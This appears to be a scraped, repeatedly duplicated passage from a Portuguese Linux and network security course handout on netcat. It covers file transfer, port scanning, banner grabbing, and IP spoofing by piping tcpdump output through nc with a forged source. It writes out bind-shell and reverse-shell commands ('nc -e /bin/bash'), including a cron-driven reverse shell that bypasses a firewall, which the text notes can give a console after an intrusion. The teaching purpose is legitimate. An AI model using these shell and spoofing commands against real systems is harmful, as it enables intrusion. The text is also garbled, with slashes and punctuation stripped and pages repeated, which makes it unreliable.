[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 52: Curso de segurança em linux e redes em geral

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 53: Curso de segurança em linux e redes em geral

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 54: Curso de segurança em linux e redes em geral

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do 